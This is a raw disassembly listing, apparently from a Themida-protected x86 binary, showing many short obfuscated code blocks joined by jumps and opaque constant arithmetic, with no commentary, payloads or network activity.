loc_565C73:				; CODE XREF: sub_562ABA-3508j
		add	eax, 4
		jmp	loc_56C83C
; ---------------------------------------------------------------------------


loc_565C7D:				; CODE XREF: sub_562ABA-BB1j
		shr	edx, 1
		push	18FAh
		mov	[esp+0], eax
		mov	eax, 433044Ch
		not	eax
		jmp	loc_56AD4A
; ---------------------------------------------------------------------------


loc_565C93:				; CODE XREF: sub_562ABA+857Fj
		mov	ecx, esp
		push	2D27h
		jmp	loc_56177E
; ---------------------------------------------------------------------------


loc_565C9F:				; CODE XREF: sub_562ABA+1D96j
		push	ebp
		jmp	loc_560ED2
; ---------------------------------------------------------------------------


loc_565CA5:				; CODE XREF: sub_562ABA-40F1j
		pop	edi
		push	edi
		mov	edi, 52350185h
		sub	ebp, 7CE449F7h
		add	ebp, 1D2E035Ah
		add	ebp, edi
		sub	ebp, 1D2E035Ah
		add	ebp, 7CE449F7h
		pop	edi
		add	ebp, ebx
		sub	ebp, 52350185h
		push	[esp+1Eh+var_1E]
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		push	1E1Dh
		mov	[esp+22h+var_22], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 0E9509E1h
		jmp	loc_56A296
; ---------------------------------------------------------------------------


loc_565CED:				; CODE XREF: sub_562ABA+3401j
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp+22h+var_22]
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_569CAC
; ---------------------------------------------------------------------------


loc_565D0E:				; CODE XREF: sub_562ABA+2A64j
		pop	ecx
		pop	[esp+12h+var_12]
		jmp	loc_571BE2
; ---------------------------------------------------------------------------


loc_565D17:				; CODE XREF: sub_562ABA+6791j
		push	6F4Ah
		jmp	loc_572806
; ---------------------------------------------------------------------------


loc_565D21:				; DATA XREF: Themida_:0055DFB8o
		lodsd
		jmp	loc_5718A3
; ---------------------------------------------------------------------------


loc_565D27:				; CODE XREF: sub_562ABA+BCCj
		xor	ebx, edx
		pop	edx
		add	ebx, 616D79AFh
		push	esi
		push	0E7FAA0D9h
		jmp	loc_5657DE
; ---------------------------------------------------------------------------


loc_565D3B:				; CODE XREF: sub_562ABA+5CBDj
		add	ecx, edx
		jmp	loc_570A7A
; ---------------------------------------------------------------------------


loc_565D42:				; CODE XREF: sub_562ABA+AE36j
		mov	[esp-4+arg_0], edx
		jmp	loc_5640B6
; ---------------------------------------------------------------------------


loc_565D4A:				; CODE XREF: sub_562ABA+E4DAj
		push	esp
		pop	eax
		push	ebx
		jmp	loc_56C274
; ---------------------------------------------------------------------------


loc_565D52:				; CODE XREF: sub_562ABA+57DEj
		or	edx, 0F73B0Ch
		add	edx, 0B9BABC29h
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 19290FE2h
		sub	eax, esi
		pop	esi
		add	eax, ebx
		add	eax, 19290FE2h
		pop	ebx
		pop	ebp
		jmp	loc_56EAA4
; ---------------------------------------------------------------------------


loc_565D78:				; CODE XREF: sub_562ABA+4039j
		push	ebx
		push	esp
		jmp	loc_55FFD6
; ---------------------------------------------------------------------------


loc_565D7F:				; CODE XREF: sub_562ABA+4F46j
		push	esi
		mov	esi, 6862FDC1h
		sub	ecx, esi
		pop	esi
		mov	edx, ecx
		mov	ecx, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		add	eax, edx
		pop	edx
		sub	eax, 324D7C0Eh
		jmp	loc_56B5D9
; ---------------------------------------------------------------------------


loc_565DAA:				; CODE XREF: sub_562ABA+612Ej
		mov	eax, 4
		add	esi, 2B1B094Ah
		jmp	loc_55E578
; ---------------------------------------------------------------------------


loc_565DBA:				; CODE XREF: sub_562ABA+4613j
		inc	ebp
		jmp	loc_56E840
; ---------------------------------------------------------------------------


loc_565DC0:				; CODE XREF: sub_562ABA+9A61j
		mov	ebx, esp
		jmp	loc_561010
; ---------------------------------------------------------------------------


loc_565DC7:				; CODE XREF: sub_562ABA-2E22j
		inc	ah
		xor	ah, 0FAh
		or	ah, 0C5h
		add	ah, 93h
		not	ah
		xor	ah, 57h
		sub	bl, ah
		mov	eax, [esp+12h+var_12]
		jmp	loc_56A960
; ---------------------------------------------------------------------------


loc_565DE1:				; CODE XREF: sub_562ABA+3B9j
		mov	edi, 59C66D60h
		sub	ebp, edi
		pop	edi
		pop	ecx
		add	[esp+16h+var_12], ebp
		pop	ebp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565DF4:				; CODE XREF: sub_562ABA-2375j
		mov	ebx, 782327EBh
		sub	ebx, 0AB1CF107h
		add	ebp, ebx
		pop	ebx
		add	esi, ebp
		mov	ebp, [esp+0]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7B2F08F7h
		jmp	loc_55EF27
; ---------------------------------------------------------------------------


loc_565E15:				; CODE XREF: sub_562ABA+1DC7j
		xor	edi, [esp+1Eh+var_1E]
		pop	esp
		and	ecx, esi
		push	[esp+1Ah+var_1A]
		mov	esi, [esp+1Eh+var_1E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+22h+var_22]
		pop	esp
		push	1164h
		mov	[esp+22h+var_22], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_570DC7
; ---------------------------------------------------------------------------


loc_565E4C:				; CODE XREF: sub_562ABA+C07Aj
		mov	word ptr [esp+22h+var_22], di
		jmp	loc_568343
; ---------------------------------------------------------------------------


loc_565E55:				; CODE XREF: sub_562ABA+E56Ej
		mov	ebx, 53C9494Bh
		sub	eax, ebx
		pop	ebx
		jmp	loc_56B7F4
; ---------------------------------------------------------------------------


loc_565E62:				; CODE XREF: sub_562ABA+3966j
		add	ebp, 841BA046h
		add	ecx, ebp
		jmp	loc_571541
; ---------------------------------------------------------------------------


loc_565E6F:				; CODE XREF: sub_562ABA+1FB9j
		pop	ebx
		push	edi
		jmp	loc_56E341
; ---------------------------------------------------------------------------


loc_565E76:				; CODE XREF: sub_562ABA+F596j
		sub	esp, 4
		jmp	loc_566010
; ---------------------------------------------------------------------------


loc_565E81:				; CODE XREF: sub_562ABA+31AAj
		sub	ecx, 469746B8h
		add	ecx, eax
		add	ecx, 469746B8h
		push	[esp-6+arg_0+2]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_567321
; ---------------------------------------------------------------------------


loc_565E9B:				; CODE XREF: sub_562ABA-105Cj
		mov	edx, 9406259h
		not	edx
		dec	edx
		add	edx, 222A59EFh
		inc	edx
		xor	edx, 37357680h
		sub	edx, 636FB888h
		add	edi, edx
		mov	edx, [esp+3Ch+var_3E+2]
		jmp	loc_565CED
; ---------------------------------------------------------------------------


loc_565EC0:				; CODE XREF: sub_562ABA+CDC7j
		push	[esp+3Ch+var_3A+2]
		pop	ecx
		pop	[esp+3Ch+var_3E+2]
		pop	esp
		jmp	loc_563886
; ---------------------------------------------------------------------------


loc_565ECE:				; CODE XREF: sub_562ABA+948Cj
		xchg	ebp, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], eax
		mov	eax, 2F971663h
		sub	[esp+0Ch], eax
		jmp	loc_57213C
; ---------------------------------------------------------------------------


loc_565EE3:				; CODE XREF: sub_562ABA+E994j
		push	0DD7h
		mov	[esp+34h+var_36+2], esp
		add	[esp+34h+var_36+2], 4
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		push	edi
		jmp	loc_5703E2
; ---------------------------------------------------------------------------


loc_565EFE:				; CODE XREF: sub_562ABA+E666j
		xchg	ebp, [esp+34h+var_36+2]
		jmp	loc_564B8A
; ---------------------------------------------------------------------------


loc_565F06:				; CODE XREF: sub_562ABA+46CDj
		pop	eax
		add	edi, eax
		sub	edi, 1B8D0447h
		jmp	loc_564C0C
; ---------------------------------------------------------------------------


loc_565F14:				; CODE XREF: sub_562ABA+D6C8j
		mov	ebp, edx
		pop	edx
		sub	edx, ebp
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		sub	edx, esi
		jmp	loc_56A1E9
; ---------------------------------------------------------------------------


loc_565F26:				; CODE XREF: sub_562ABA-3184j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565F2B:				; CODE XREF: sub_562ABA+DACDj
		push	edi
		mov	edi, 614303A1h
		jmp	loc_56FDC4
; ---------------------------------------------------------------------------


loc_565F36:				; CODE XREF: sub_562ABA+B53Dj
		pop	eax
		push	dword ptr [esp+0]
		mov	ecx, [esp+12h+var_12]
		push	ebx
		push	esp
		jmp	loc_570010
; ---------------------------------------------------------------------------


loc_565F44:				; CODE XREF: sub_562ABA+B87Aj
		add	edx, ebx
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp+16h+var_16]
		jmp	loc_566B9A
; ---------------------------------------------------------------------------


loc_565F59:				; CODE XREF: sub_562ABA+DD25j
		mov	ecx, esp
		add	ecx, 4
		push	4D81h
		mov	[esp+1Ah+var_1A], edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_5652CF
; ---------------------------------------------------------------------------


loc_565F75:				; CODE XREF: sub_562ABA+7D0Dj
		push	[esp+1Ah+var_1A]
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Eh+var_1E]
		pop	esp
		jmp	loc_56E4C8
; ---------------------------------------------------------------------------


loc_565F99:				; CODE XREF: sub_562ABA+989Dj
		mov	[esp+1Ah+var_1A], ecx
		pop	edx
		jmp	loc_5608CA
; ---------------------------------------------------------------------------


loc_565FA2:				; CODE XREF: sub_562ABA+4BDEj
		dec	ebp
		push	esi
		mov	esi, 48B3025Eh
		jmp	loc_571A78
; ---------------------------------------------------------------------------


loc_565FAE:				; CODE XREF: sub_562ABA+72E1j
		pop	esp
		xor	bh, ch
		xor	ch, bh
		xor	bh, ch
		xor	byte ptr [esp+16h+var_16], bh
		xor	bh, byte ptr [esp+16h+var_16]
		xor	byte ptr [esp+16h+var_16], bh
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_565FC3:				; CODE XREF: sub_562ABA+535Cj
		pop	edx
		mov	eax, edi
		pop	edi
		add	[edi+24h], eax
		jmp	loc_5682D7
; ---------------------------------------------------------------------------


loc_565FCF:				; CODE XREF: sub_562ABA+76A5j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+0Ah+var_C+2], edi
		push	ebp
		push	edx
		mov	edx, 121F63D6h
		jmp	loc_5687B4
; ---------------------------------------------------------------------------


loc_565FF0:				; CODE XREF: sub_562ABA+14AEj
		add	edx, 4
		push	edi
		jmp	loc_56DEAC
; ---------------------------------------------------------------------------


loc_565FFC:				; CODE XREF: sub_562ABA+DF13j
		push	ax
		jmp	loc_569A43
; ---------------------------------------------------------------------------


loc_566003:				; CODE XREF: sub_562ABA+5B52j
		sub	ecx, 5A014B57h
		add	ecx, ebx
		jmp	loc_5647A7
; ---------------------------------------------------------------------------


loc_566010:				; CODE XREF: sub_562ABA+33C2j
		mov	[esp+1Ah+var_1A], ecx
		mov	ecx, 3A54663Dh
		and	ecx, 29320195h
		jmp	loc_567963
; ---------------------------------------------------------------------------


loc_566023:				; CODE XREF: sub_562ABA+59DDj
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5664BB
; ---------------------------------------------------------------------------


loc_56602F:				; CODE XREF: sub_562ABA+F3B1j
		sub	al, cl
		sub	al, 52h
		add	al, 94h
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56ADCC
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ah+var_1A]
		jmp	sub_55FC41
; ---------------------------------------------------------------------------


loc_56604D:				; CODE XREF: sub_562ABA-3A9Ej
		pop	eax
		jmp	loc_571395
; ---------------------------------------------------------------------------


loc_566053:				; CODE XREF: sub_562ABA+67B7j
		pop	ecx
		push	edx
		jmp	loc_564C3E
; ---------------------------------------------------------------------------


loc_56605A:				; CODE XREF: sub_562ABA+FAA1j
		push	eax
		mov	eax, 748D0EA3h
		push	ebx
		mov	ebx, 71F33B46h
		shr	ebx, 1
		neg	ebx
		shr	ebx, 1
		jmp	loc_569023
; ---------------------------------------------------------------------------


loc_566071:				; CODE XREF: sub_562ABA+D2F0j
		mov	edi, [esp+0Ah+var_C+2]
		jmp	loc_55F9E9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Ah+var_C+2]
		sub	esp, 4
		jmp	loc_55FC4A
; ---------------------------------------------------------------------------


loc_566088:				; CODE XREF: sub_562ABA+CC30j
		pop	esp
		jmp	loc_56E240
; ---------------------------------------------------------------------------


loc_56608E:				; CODE XREF: sub_562ABA-ACj
		push	edi
		push	edx
		mov	edx, 14A907B3h
		not	edx
		add	edx, 73CC76B1h
		or	edx, 45B37E23h
		xor	edx, 1682316Eh
		jmp	loc_57296B
; ---------------------------------------------------------------------------


loc_5660AE:				; CODE XREF: sub_562ABA-129Dj
		sub	esi, 2160441Bh
		jmp	loc_55E8EC
; ---------------------------------------------------------------------------


loc_5660B9:				; CODE XREF: sub_562ABA+23D4j
		xchg	edx, [esp+34h+var_36+2]
		pop	esp
		jmp	loc_56439A
; ---------------------------------------------------------------------------


loc_5660C2:				; CODE XREF: sub_562ABA+CCF5j
		not	edx
		jmp	sub_572714
; ---------------------------------------------------------------------------


loc_5660C9:				; CODE XREF: sub_562ABA+4E8Aj
		mov	esi, 0CF08FEF4h
		sub	edx, esi
		jmp	loc_564BFA
; ---------------------------------------------------------------------------


loc_5660D5:				; CODE XREF: sub_562ABA+A0C7j
		xchg	esi, edi
		shr	edi, 4
		push	ebp
		jmp	loc_56320D
; ---------------------------------------------------------------------------


loc_5660E0:				; CODE XREF: sub_562ABA+D117j
		mov	ebx, edi
		pop	edi
		add	ebx, 1
		add	ebx, 1
		shr	ebx, 7
		jmp	loc_562A8F
; ---------------------------------------------------------------------------


loc_5660F4:				; CODE XREF: sub_55FCA5+197j
		sub	eax, ebp
		pop	ebp
		sub	eax, 6F2D50C2h
		push	ecx
		mov	ecx, 65D5761h
		add	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_568513
; ---------------------------------------------------------------------------


loc_56610B:				; CODE XREF: sub_562ABA+4F9Dj
		pop	esi
		sub	esp, 4
		mov	[esp+30h+var_32+2], ecx
		push	[esp+30h+var_2C]
		mov	ecx, [esp+34h+var_36+2]
		jmp	loc_57102D
; ---------------------------------------------------------------------------


loc_566121:				; CODE XREF: sub_562ABA+8258j
		push	[esp+34h+var_36+2]
		pop	edx
		jmp	loc_55FFE2
; ---------------------------------------------------------------------------


loc_56612A:				; CODE XREF: sub_562ABA-4100j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_5694DB
; ---------------------------------------------------------------------------


loc_566143:				; CODE XREF: sub_562ABA+A34Fj
		mov	edi, [esp+1Eh+var_1E]
		add	esp, 4
		push	edi
		jmp	loc_565357
; ---------------------------------------------------------------------------


loc_56614F:				; CODE XREF: sub_562ABA+BE51j
		sub	esi, 4122864Ch
		add	ecx, 598A25A1h
		jmp	loc_56C45F
; ---------------------------------------------------------------------------


loc_566160:				; CODE XREF: sub_562ABA+A2B7j
		mov	[esp+1Eh+var_1E], eax
		mov	eax, 0D5DFC764h
		xor	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		not	esi
		neg	esi
		push	ecx
		mov	ecx, 3DD11EA8h
		xor	ecx, 276D0D68h
		push	ebp
		jmp	loc_56C5C0
; ---------------------------------------------------------------------------


loc_566184:				; CODE XREF: sub_562ABA+A16Dj
		xor	ecx, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], ecx
		xor	ecx, [esp+1Eh+var_1E]
		pop	esp
		and	byte ptr [esp+1Ah+var_1A], al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566197:				; CODE XREF: sub_562ABA+9497j
		push	ecx
		jmp	loc_570BDC
; ---------------------------------------------------------------------------


loc_56619D:				; CODE XREF: sub_562ABA+66BAj
		push	ebx
		push	[esp+26h+var_22]
		pop	ebx
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_22]
		ror	byte ptr [esp+22h+var_22], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5661B2:				; CODE XREF: sub_562ABA+DE82j
		pop	ebx
		jmp	loc_560821
; ---------------------------------------------------------------------------


loc_5661B8:				; CODE XREF: sub_562ABA-32C7j
		add	ebx, 3CE958CAh
		add	ebx, esi
		sub	ebx, 3CE958CAh
		jmp	loc_5620BC
; ---------------------------------------------------------------------------


loc_5661CB:				; CODE XREF: sub_562ABA+1CA6j
		push	ecx
		jmp	loc_569E54
; ---------------------------------------------------------------------------


loc_5661D1:				; CODE XREF: sub_562ABA-4392j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+22h+var_22]
		pop	esp
		push	eax
		push	ebp
		mov	ebp, 5E4374F6h
		jmp	loc_5715E0
; ---------------------------------------------------------------------------


loc_5661ED:				; CODE XREF: sub_562ABA+6C61j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp+22h+var_22]
		xor	[esp+22h+var_22], edi
		jmp	loc_564128
; ---------------------------------------------------------------------------


loc_566200:				; CODE XREF: sub_562ABA+6A14j
		mov	ebp, ecx
		pop	ecx
		pop	edi
		jmp	loc_56CCA6
; ---------------------------------------------------------------------------


loc_566209:				; CODE XREF: sub_562ABA+FDFj
		xor	eax, ebx
		mov	ebx, [esp+10h+var_12+2]
		jmp	loc_570136
; ---------------------------------------------------------------------------


loc_566213:				; CODE XREF: sub_562ABA+1D7Ej
		push	eax
		mov	al, 21h
		mov	bl, 0FAh
		sub	bl, al
		pop	eax
		sub	al, 0AEh
		sub	al, bl
		jmp	loc_56E4E0
; ---------------------------------------------------------------------------
		push	5338h
		mov	[esp+34h+var_36+2], esi
		mov	esi, esp
		push	0A70h
		mov	[esp+38h+var_3A+2], eax
		mov	eax, 21942BE8h
		sub	eax, 21942BE4h
		add	esi, eax
		jmp	loc_564D2A
; ---------------------------------------------------------------------------


loc_566247:				; CODE XREF: sub_562ABA+53FEj
		xor	ebp, 58E1228Dh
		shr	ebp, 1
		add	ebp, 1
		xor	ebp, 54897EB7h
		jmp	loc_566A7C
; ---------------------------------------------------------------------------


loc_566260:				; CODE XREF: sub_562ABA+644Bj
		pop	esp
		mov	[esp+34h+var_36+2], ebx
		push	[esp+34h+var_32+2]
		mov	ebx, [esp+38h+var_3A+2]
		jmp	loc_56E0A8
; ---------------------------------------------------------------------------


loc_566270:				; CODE XREF: sub_562ABA+5884j
		push	ebx
		mov	ebx, 36F0301Ah
		jmp	loc_567796
; ---------------------------------------------------------------------------


loc_56627B:				; CODE XREF: sub_562ABA-2726j
		sub	ebp, 1C9105DAh
		sub	ebp, 66E717Ch
		jmp	loc_570F37
; ---------------------------------------------------------------------------


loc_56628C:				; CODE XREF: sub_562ABA+F211j
		add	esp, 4
		or	[edi+1Ch], ebx
		jmp	loc_5714D4
; ---------------------------------------------------------------------------


loc_566297:				; CODE XREF: sub_562ABA+7E18j
		add	ebx, 4
		xor	ebx, [esp-14h+arg_10]
		jmp	loc_5693D5
; ---------------------------------------------------------------------------


loc_5662A2:				; CODE XREF: sub_562ABA+2833j
		push	eax
		mov	eax, ebp
		jmp	loc_5622BB
; ---------------------------------------------------------------------------


loc_5662AA:				; CODE XREF: sub_562ABA+8FB0j
		add	esp, 4
		jmp	loc_5706D5
; ---------------------------------------------------------------------------


loc_5662B2:				; CODE XREF: sub_562ABA+2839j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		add	ebp, 4
		jmp	loc_55EEC5
; ---------------------------------------------------------------------------


loc_5662CE:				; CODE XREF: sub_562ABA+7782j
		mov	ebx, 37564FD6h
		jmp	loc_55E8DE
; ---------------------------------------------------------------------------


loc_5662D8:				; CODE XREF: sub_562ABA+15B8j
		pop	esp
		jmp	loc_56EC87
; ---------------------------------------------------------------------------


loc_5662DE:				; CODE XREF: sub_562ABA+4CABj
		pop	ebx
		pop	cx
		add	al, dl
		jmp	loc_5603F6
; ---------------------------------------------------------------------------


loc_5662E8:				; CODE XREF: sub_562ABA+EBC3j
		pop	eax
		push	ebx
		mov	bl, 16h
		mov	al, 1Eh
		sub	al, bl
		pop	ebx
		push	ecx
		mov	ch, 0BFh
		add	al, ch
		jmp	loc_56D421
; ---------------------------------------------------------------------------


loc_5662FB:				; CODE XREF: sub_562ABA-26C9j
		pop	ebx
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 7D180B30h
		jmp	loc_5722DE
; ---------------------------------------------------------------------------


loc_56630C:				; CODE XREF: sub_562ABA+CE75j
		push	esp
		pop	[esp+0Ah+var_C+2]
		jmp	loc_570774
; ---------------------------------------------------------------------------


loc_566315:				; CODE XREF: sub_562ABA+C1D6j
		mov	ebx, 6CB052DBh
		sub	ebx, 560F1E5Fh
		shr	ebx, 5
		jmp	loc_55F0EB
; ---------------------------------------------------------------------------


loc_566328:				; CODE XREF: sub_562ABA+12FAj
		push	382Fh
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		jmp	loc_5728E9
; ---------------------------------------------------------------------------


loc_566345:				; CODE XREF: sub_562ABA+C8E7j
		push	ebp
		push	[esp+42h+var_3E]
		mov	ebp, [esp+46h+var_46]
		add	esp, 4
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_566363:				; CODE XREF: sub_55FCA5+217j
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		push	6C0Ch
		mov	[esp+46h+var_46], edi
		mov	edi, esp
		jmp	loc_56CDCE
; ---------------------------------------------------------------------------


loc_566376:				; CODE XREF: sub_562ABA+FF6Dj
		xor	ebx, 9E106BEh
		mov	ebp, ebx
		pop	ebx
		mov	esi, 118FF7B7h
		add	esi, ebp
		pop	ebp
		jmp	loc_55F138
; ---------------------------------------------------------------------------


loc_56638C:				; CODE XREF: sub_562ABA+2C17j
		pop	esp
		mov	[esp+2Ah+var_2C+2], ebx
		push	4EF8h
		mov	[esp+0], ebp
		jmp	loc_5613E5
; ---------------------------------------------------------------------------


loc_56639D:				; CODE XREF: sub_562ABA+3C7Ej
		sub	edx, 4
		jmp	loc_56F8BD
; ---------------------------------------------------------------------------


loc_5663A8:				; CODE XREF: sub_562ABA+92B2j
		add	[esp+0], eax
		push	ebx
		mov	ebx, 6F736DD0h
		add	[esp+4], ebx
		pop	ebx
		push	ebx
		push	3040h
		mov	[esp+36h+var_36], ebp
		jmp	loc_56278C
; ---------------------------------------------------------------------------


loc_5663C4:				; CODE XREF: sub_562ABA+BC7Cj
		mov	eax, esp
		jmp	loc_55F107
; ---------------------------------------------------------------------------


loc_5663CB:				; CODE XREF: sub_562ABA+10Fj
		or	eax, 716E7D3Dh
		jmp	loc_56AA52
; ---------------------------------------------------------------------------


loc_5663D5:				; CODE XREF: sub_562ABA+4776j
		pop	ecx
		jmp	loc_55EE4A
; ---------------------------------------------------------------------------


loc_5663DB:				; CODE XREF: sub_562ABA+4518j
		sub	al, cl
		pop	ecx
		push	ebx
		mov	bh, 0A8h
		shl	bh, 1
		jmp	loc_563C12
; ---------------------------------------------------------------------------


loc_5663E8:				; CODE XREF: sub_562ABA+C901j
		pop	eax
		add	esi, 5CB5EC4h
		add	esi, ecx
		sub	esi, 5CB5EC4h
		add	esi, 6F6D46E8h
		push	edx
		mov	edx, 7CB03C39h
		sub	edx, 48C0E50Eh
		sub	esi, edx
		pop	edx
		jmp	loc_562E78
; ---------------------------------------------------------------------------


loc_566411:				; CODE XREF: sub_562ABA+64B4j
		add	ebp, 6BAA48DEh
		push	ecx
		mov	ecx, 423655C2h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_565E62
; ---------------------------------------------------------------------------


loc_566425:				; CODE XREF: sub_562ABA+BA78j
		mov	edx, 6C937044h
		jmp	loc_563B06
; ---------------------------------------------------------------------------


loc_56642F:				; CODE XREF: sub_562ABA+8D7j
		mov	esi, [esp+0]
		jmp	loc_56E34B
; ---------------------------------------------------------------------------


loc_566437:				; CODE XREF: sub_562ABA+8606j
		sub	esi, 0D2430477h
		and	ebp, esi
		pop	esi
		or	ebp, 164E2629h
		dec	ebp
		push	eax
		jmp	loc_56483D
; ---------------------------------------------------------------------------


loc_56644D:				; CODE XREF: sub_562ABA+CEB2j
		mov	esi, edi
		push	esi
		pop	eax
		mov	esi, [esp+0]
		push	ecx
		jmp	loc_56D777
; ---------------------------------------------------------------------------


loc_56645A:				; CODE XREF: sub_55FCA5+159j
		mov	ebx, 62D22715h
		sub	ebx, 62D22715h
		mov	[edi+20h], ebx
		mov	ebx, [esp+32h+var_32]
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		jmp	loc_56E378
; ---------------------------------------------------------------------------


loc_566479:				; CODE XREF: sub_561161+9j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		push	51F9h
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		pop	[esp+3Ah+var_3A]
		add	[esp+36h+var_36], 4
		push	[esp+36h+var_36]
		mov	ecx, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_56DBA8
; ---------------------------------------------------------------------------


loc_5664B2:				; CODE XREF: sub_562ABA+507Ej
		push	[esp+36h+var_36]
		pop	edi
		jmp	loc_56CFDE
; ---------------------------------------------------------------------------


loc_5664BB:				; CODE XREF: sub_562ABA+3570j
		pop	edx
		jmp	loc_56F9B9
; ---------------------------------------------------------------------------


loc_5664C1:				; CODE XREF: sub_562ABA+185j
		sub	edx, 4
		xchg	edx, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		jmp	loc_567EBD
; ---------------------------------------------------------------------------


loc_5664D2:				; CODE XREF: sub_562ABA+684Dj
		add	edx, 4
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp-0Ah+arg_4+2]
		jmp	loc_5635F2
; ---------------------------------------------------------------------------


loc_5664EE:				; CODE XREF: sub_562ABA+C815j
		pop	eax
		sub	eax, 528A17E2h
		pop	ebp
		push	edi
		mov	edi, 39165C30h
		dec	edi
		xor	edi, 3A257542h
		jmp	loc_56F2F5
; ---------------------------------------------------------------------------


loc_566507:				; CODE XREF: sub_562ABA+A19j
		sub	ebp, eax
		jmp	loc_5673D3
; ---------------------------------------------------------------------------


loc_56650E:				; CODE XREF: sub_562ABA+E283j
		mov	[esp+14h+var_16+2], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		jmp	loc_563452
; ---------------------------------------------------------------------------


loc_566528:				; CODE XREF: sub_562ABA+CB78j
		add	esp, 4
		add	esp, 4
		sub	al, 89h
		jmp	loc_5670E6
; ---------------------------------------------------------------------------


loc_56653B:				; CODE XREF: sub_562ABA+21D5j
		pop	ebx
		mov	esi, edi
		jmp	loc_55EEA2
; ---------------------------------------------------------------------------


loc_566543:				; CODE XREF: sub_562ABA+4202j
		sub	esp, 4
		mov	[esp+14h+var_16+2], edi
		push	[esp+14h+var_12+2]
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_571DD7
; ---------------------------------------------------------------------------


loc_566558:				; CODE XREF: sub_562ABA+5409j
		mov	ebx, 5B700AE0h
		shr	ebx, 2
		jmp	loc_56DE3F
; ---------------------------------------------------------------------------


loc_566565:				; CODE XREF: sub_562ABA+B54j
		or	eax, 37FC78BFh
		sub	eax, 0FFFE79FBh
		add	ecx, eax
		jmp	loc_561670
; ---------------------------------------------------------------------------


loc_566576:				; CODE XREF: sub_562ABA+1D77j
		add	edx, 3B644136h
		jmp	loc_568868
; ---------------------------------------------------------------------------


loc_566581:				; CODE XREF: sub_562ABA+6E0Fj
		not	edi
		add	edi, 47932146h
		jmp	loc_55ED7C
; ---------------------------------------------------------------------------


loc_56658E:				; CODE XREF: sub_562ABA+C373j
		add	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		add	eax, 2
		jmp	loc_55E15A
; ---------------------------------------------------------------------------


loc_5665A7:				; CODE XREF: sub_562ABA+5161j
		add	ebp, esi
		pop	esi
		add	eax, ebp
		jmp	loc_571A83
; ---------------------------------------------------------------------------


loc_5665B1:				; CODE XREF: sub_562ABA+AA43j
		pop	eax
		xor	ebp, 2C650DC9h
		sub	ebp, 412D60ADh
		sub	ebp, 0DD04C956h
		jmp	loc_56A534
; ---------------------------------------------------------------------------


loc_5665C9:				; CODE XREF: sub_562ABA-3815j
		sub	ebx, 0BD72B3Ch
		jmp	sub_55E50D
; ---------------------------------------------------------------------------


loc_5665D4:				; CODE XREF: sub_562ABA+B979j
		or	eax, eax
		jz	loc_56C255
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_570C91
